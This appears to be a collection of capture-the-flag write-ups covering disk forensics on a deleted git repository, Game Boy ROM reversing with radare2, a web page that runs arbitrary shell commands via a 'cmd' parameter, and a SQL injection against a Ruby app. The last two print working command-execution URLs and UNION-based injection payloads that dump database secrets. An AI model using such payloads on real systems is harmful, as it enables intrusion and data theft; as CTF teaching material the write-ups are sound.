Needle In The Haystack
In this forensics challenge we are given the file needle-in-the-haystack
with
the instructions to find the hidden flag.
$ file needle-in-the-haystack
needle-in-the-haystack: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, sectors 10240 (volumes <=32 MB) , Media descriptor 0xf8, sectors/FAT 8, sectors/track 63, heads 255, serial number 0x1e92c764, unlabeled, FAT (12 bit)
Nice, it's a FAT File System. Lets check out whats on the disk using the fls
tool from
Sleuth Kit.
$ fls needle-in-the-haystack
r/r * 4: deploy.tar.gz
d/d 6: blog
d/d * 8: .git
v/v 163523: $MBR
v/v 163524: $FAT1
v/v 163525: $FAT2
d/d 163526: $OrphanFiles
Notably, the file deploy.tar.gz
is deleted. Sticking to the Sleuth Kit
toolbox, we can extract the deleted file using icat
.
$ icat needle-in-the-haystack 4 > deploy.tar.gz
$ mkdir deploy
$ tar -xzf deploy.tar.gz -C deploy
$ cd deploy
$ ls -la
total 0
drwxr-xr-x 4 martme staff 136 Oct 10 18:41 .
drwxr-xr-x 9 martme staff 306 Oct 10 18:41 ..
drwxr-xr-x 12 martme staff 408 Aug 12 21:22 .git
drwxr-xr-x 18 martme staff 612 Aug 12 20:43 blog
In the archive, we find a Ruby on Rails application. The blog folder contains a
Ruby on Rails application using an SQLite3 Database. Running the app seems like
a good idea at this point, but it turns out that we are missing a configuration
file at config/database.yml
. Time to deep dive into the git history!
In the initial commit, the files config/secrets.yml
and config/database.yml
added to version control, and in the following commit they were both deleted. At
this point, I got hung up in the original contents of the file
config/database.yml
.
development:
<<: *default
database: db/development.sqlite3
Looking for development.sqlite
in the original file ended up in a lot of
wasted time, but also led me to look closer at the git repository. My hope was
that the file was present but unreferenced. Running the command
git fsck --no-reflog
proves that there at least are some orphaned commits to
search through.
$ git fsck --no-reflog | grep commit
Checking object directories: 100% (256/256), done.
dangling commit 3bc40c0596ac9c057c76359f00ad628662d142dc
dangling commit 68490b1f703f667c2dbf9032104a2dcd1039204e
dangling commit 78c94ce02529b3775330e828fcc8af524252df06
dangling commit d059d83a49da1f2d7c2540e316259d6bf501ff50
dangling commit c5f299df85f0b3fb057b248909f99e6422f7ce3c
The diff from these commits can be viewed using git show <commit>
. Having a
closer look at commit 68490b1f70
, we are presented with the following changes
to the config/secrets.yml
file!
diff --git a/blog/config/secrets.yml b/blog/config/secrets.yml
new file mode 100644
index 0000000..04ec141
--- /dev/null
+++ b/blog/config/secrets.yml
@@ -0,0 +1,24 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+ secret_key_base: 931d2835703c6e1e4fa1ec89934437221397166646ab9e815da4fbfbf574430b660debe68678fcfe3f7e62d4c4f2003264090aa6df4e62ebbd25b8fe70ff2bc2
+
+test:
+ secret_key_base: 389e066b905e18624e71c9b84afd850c3232b72a027297ff6bb143ad069780357574c446da6ad5ac643f0a0e87bd5ca0d8855ecacc548cf00ffd29632aec0853
+
+flag: flag-a89a24c836bde785292b908a25b9241d
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
Turns out we weren't looking for an SQLite3 database after all!
The Turing Agent (A Small GameBoy CTF)
The original challenge is available on GitHub.
This reversing challenge required reverse engineering a Game Boy ROM. Thankfully, reddit user /u/Megabeets shared his awesome bloggpost on reverse engineering GameBoy ROMs during the CTF. This post was immensly helpful, as I had never used Radare 2, nor looked into GameBoy ROMs before this CTF. I highly recommend Megabeets introduction to Radare 2 if you're also new to Radare!
The tools.txt
file in the GitHub repository suggested using
BGB as a GameBoy emulator and debugger together with
radare2 for disassembly/analysis.
Install these! Check. Now lets look at the game in the emulator:
We need to find the code to unlock the door! Time to spin up radare. First up is analyzing the code, then looking for the string we saw when emulating the game, "NO GOOD."
$ r2 mission.gb
[0x00000100]> aaa
[0x00000100]> izzq~NO GOOD.
0x2c1b 9 8 NO GOOD.
OK, so the string is located at address 0x2c1b
. Lets look at where this is
referenced. We can do this by printing the disassembly (pd
) of n instructions
and grep (~
) the known address.
[0x00000100]> pd 0x3000~0x2c1b
| ||||||| 0x00002c00 111b2c ld de, 0x2c1b
Cool, lets see what hidden at 0x2c00
[0x00000100]> pd @ 0x2c00
/ (fcn) fcn.00002c00 27
| fcn.00002c00 ();
| ; CALL XREF from 0x00002b20 (fcn.00002aa9)
| 0x00002c00 111b2c ld de, 0x2c1b <-- the string is referenced here!
| 0x00002c03 d5 push de
| 0x00002c04 cd1025 call fcn.00002510
| 0x00002c07 e802 add sp, 0x02
| 0x00002c09 11242c ld de, 0x2c24
| 0x00002c0c d5 push de
| 0x00002c0d cd1025 call fcn.00002510
| 0x00002c10 e802 add sp, 0x02
| 0x00002c12 cdef24 call fcn.000024ef
| 0x00002c15 21d0c0 ld hl, 0xc0d0
| 0x00002c18 3600 ld [hl], 0x00
(...)
We're mostly interested in what is going on before the string is loaded into
memory, as we want the alternate action to take place. The function is called
from fnc.00002aa9
. Lets see what that looks like.
[0x00000100]> pdf @ 0x2aa9
/ (fcn) fcn.00002aa9 125
| fcn.00002aa9 ();
| 0x00002aa9 e8fd add sp, 0xfd
| 0x00002aab f800 ld hl, sp + 0x00
| 0x00002aad 3600 ld [hl], 0x00
| 0x00002aaf 23 inc hl
| 0x00002ab0 3600 ld [hl], 0x00
| .-> 0x00002ab2 21f1c0 ld hl, 0xc0f1
| | 0x00002ab5 36ba ld [hl], 0xba
| | 0x00002ab7 23 inc hl
| | 0x00002ab8 3638 ld [hl], 0x38
| | 0x00002aba 23 inc hl
| | 0x00002abb 36ae ld [hl], 0xae
| | 0x00002abd 23 inc hl
| | 0x00002abe 3672 ld [hl], 0x72
| | 0x00002ac0 11c0c0 ld de, 0xc0c0
| | 0x00002ac3 f801 ld hl, sp + 0x01
| | 0x00002ac5 6e ld l, [hl]
| | 0x00002ac6 2600 ld h, 0x00
| | 0x00002ac8 19 add hl, de
| | 0x00002ac9 4d ld c, l
| | 0x00002aca 44 ld b, h
| | 0x00002acb 0a ld a, [bc]
| | 0x00002acc f802 ld hl, sp + 0x02
| | 0x00002ace 77 ld [hl], a
| | 0x00002acf 111c02 ld de, 0x021c
| | 0x00002ad2 2b dec hl
| | 0x00002ad3 6e ld l, [hl]
| | 0x00002ad4 2600 ld h, 0x00
| | 0x00002ad6 19 add hl, de
| | 0x00002ad7 4d ld c, l
| | 0x00002ad8 44 ld b, h
| | 0x00002ad9 0a ld a, [bc]
| | 0x00002ada f802 ld hl, sp + 0x02
| | 0x00002adc a6 and [hl]
| ,==< 0x00002add 2811 jr Z, 0x11
| || 0x00002adf 2b dec hl
| || 0x00002ae0 2b dec hl
| || 0x00002ae1 34 inc [hl]
| || 0x00002ae2 21f5c0 ld hl, 0xc0f5
| || 0x00002ae5 3653 ld [hl], 0x53
| || 0x00002ae7 23 inc hl
| || 0x00002ae8 36f5 ld [hl], 0xf5
| || 0x00002aea 23 inc hl
| || 0x00002aeb 3606 ld [hl], 0x06
| || 0x00002aed 23 inc hl
| || 0x00002aee 36a1 ld [hl], 0xa1
| `--> 0x00002af0 f801 ld hl, sp + 0x01
| | 0x00002af2 34 inc [hl]
| | 0x00002af3 46 ld b, [hl]
| | 0x00002af4 0e00 ld c, 0x00
| | 0x00002af6 78 ld a, b
| | 0x00002af7 d610 sub 0x10
| | 0x00002af9 79 ld a, c
| | 0x00002afa de00 sbc 0x00
| `=< 0x00002afc dab22a jp C, 0x2ab2
| 0x00002aff 21f9c0 ld hl, 0xc0f9
| 0x00002b02 3653 ld [hl], 0x53
| 0x00002b04 23 inc hl
| 0x00002b05 367c ld [hl], 0x7c
| 0x00002b07 23 inc hl
| 0x00002b08 36a9 ld [hl], 0xa9
| 0x00002b0a 23 inc hl
| 0x00002b0b 361e ld [hl], 0x1e
| 0x00002b0d f800 ld hl, sp + 0x00
| 0x00002b0f 56 ld d, [hl]
| 0x00002b10 1e00 ld e, 0x00
| 0x00002b12 7a ld a, d
| 0x00002b13 d610 sub 0x10
| ,=< 0x00002b15 2009 jr nZ, 0x09
| | 0x00002b17 7b ld a, e
| | 0x00002b18 b7 or a
| ,==< 0x00002b19 2005 jr nZ, 0x05
| || 0x00002b1b cd262b call fcn.00002b26 <-- this hopefully prints the flag!
| ,===< 0x00002b1e 1803 jr 0x03
| |``-> 0x00002b20 cd002c call fcn.00002c00 <-- this prints "NO GOOD."
| | ; JMP XREF from 0x00002b1e (fcn.00002aa9)
| `---> 0x00002b23 e803 add sp, 0x03
\ 0x00002b25 c9 ret
Time to head back to the debugger. Let's add a breakpoint to the instruction at
0x2b19
, so that we can bypass the jump and pass through to 0x2b1b
.
It's not very effective!
Turns out our emulator never executes the instruction at 0x2b19
after all.
Lets try again, with a breakpoint at 0x2b19
.
Hurray! It's super effective! As you can see in the image, we can now use the
nifty debugger function and jump straight to the instruction at 0x2b1b
. This
works wonders, as running from this instruction prints the flag!
Fin.
Password Checker
A quick look at the page source of the web page for this task reveals an
interesting looking page; run.php
takes the GET parameter cmd
and happily
runs any bash command you pass it!
run.php?cmd=ls
run.php
However, the returned output is limited to a single line of text. To bypass
this, we append | tr "\n" " "
to the command we want to execute, allowing us
to see all lines of the output.
run.php?cmd=ls -a | tr "\n" " "
. .. index.html run.php
Nice. Lets check out what we're working with, by looking at the source for
run.php
.
run.php?cmd=cat run.php | tr "\n" " "
<?php $line = exec($_GET['cmd']); echo $line; ?>
OK, so no surprises there. Let's look around some more!
run.php?cmd=ls -a ../ | tr "\n" " "
. .. flag.txt html password.txt xxx_not_a_flag.txt
Whoop whoop! A file called flag.txt
. We're getting close!
run.php?cat ../flag.txt | tr "\n" " "
line 1: flag-rugeg-monak-fipif-kugoh-zulyd line 2: flap-31aac7e26de449ee
Win!
Little Doggy Tables
This SQLi challenge comes with source code! Some parts of the source code are omitted for brevity.
# [...]
def initialize
@db = SQLite3::Database.new("secure.db")
end
def secure_species_lookup(insecure_codename)
# roll our own escaping to prevent SQL injection attacks
secure_codename = insecure_codename.gsub("'", Regexp.escape("\\'"))
query = "SELECT species FROM operatives WHERE codename = '#{secure_codename}';"
puts query
results = @db.execute(query)
return if results.length == 0
results[0][0]
end
# [...]
The input sanitization is not very effective in this implementation. We can
easily include whatever we want in the original query by appending
' union select [...] --'
.
First off, find valid table names in the database. We know we're working with SQLite3, so we can use the following query.
' union select group_concat(name) from sqlite_master where type="table"--
We use the group_concat
trick to aggregate all rows in the select result into
a single row. In this case, we only find a single table, operatives
.
We can then find the columns in this table using the query
' union select sql from sqlite_master where tbl_name = "operatives"--
.
CREATE TABLE operatives (
codename TEXT,
species TEXT,
secret TEXT
)
The column secrets
looks like something we'd want to have a closer look at. To
dump this table we can use the group_concat
trick again, but we need a
property to group by. According to the task, we are dealing with only dogs and
cats, hence species should only have two unique values. Grouping by species
should in theory only return two rows.
Our first try is unsuccessful
' union select group_concat(secret) from operatives group by species--
ccf271b7830882da1791852baeca1737fcbe4b90,d3964f9dad9f60363c81b688324d95b4ec7c8038,136571b41aa14adc10c5f3c987d43c02c8f5d498,b6abd567fa79cbe0196d093a067271361dc6ca8b,4143d3a341877154d6e95211464e1df1015b74bd
So we simply skip the first row.
' union select group_concat(secret) from operatives group by species limit 1,1--
e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e,7448d8798a4380162d4b56f9b452e2f6f9e24e7a,9c6b057a2b9d96a4067a749ee3b3b0158d390cf1,5d9474c0309b7ca09a182d888f73b37a8fe1362c,flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436
Success! In retrospect we could have guessed that the flag was prefixed with
flag-
, and an easier way of finding the flag would have been
' union select secret from operatives where secret like "flag-%"--
.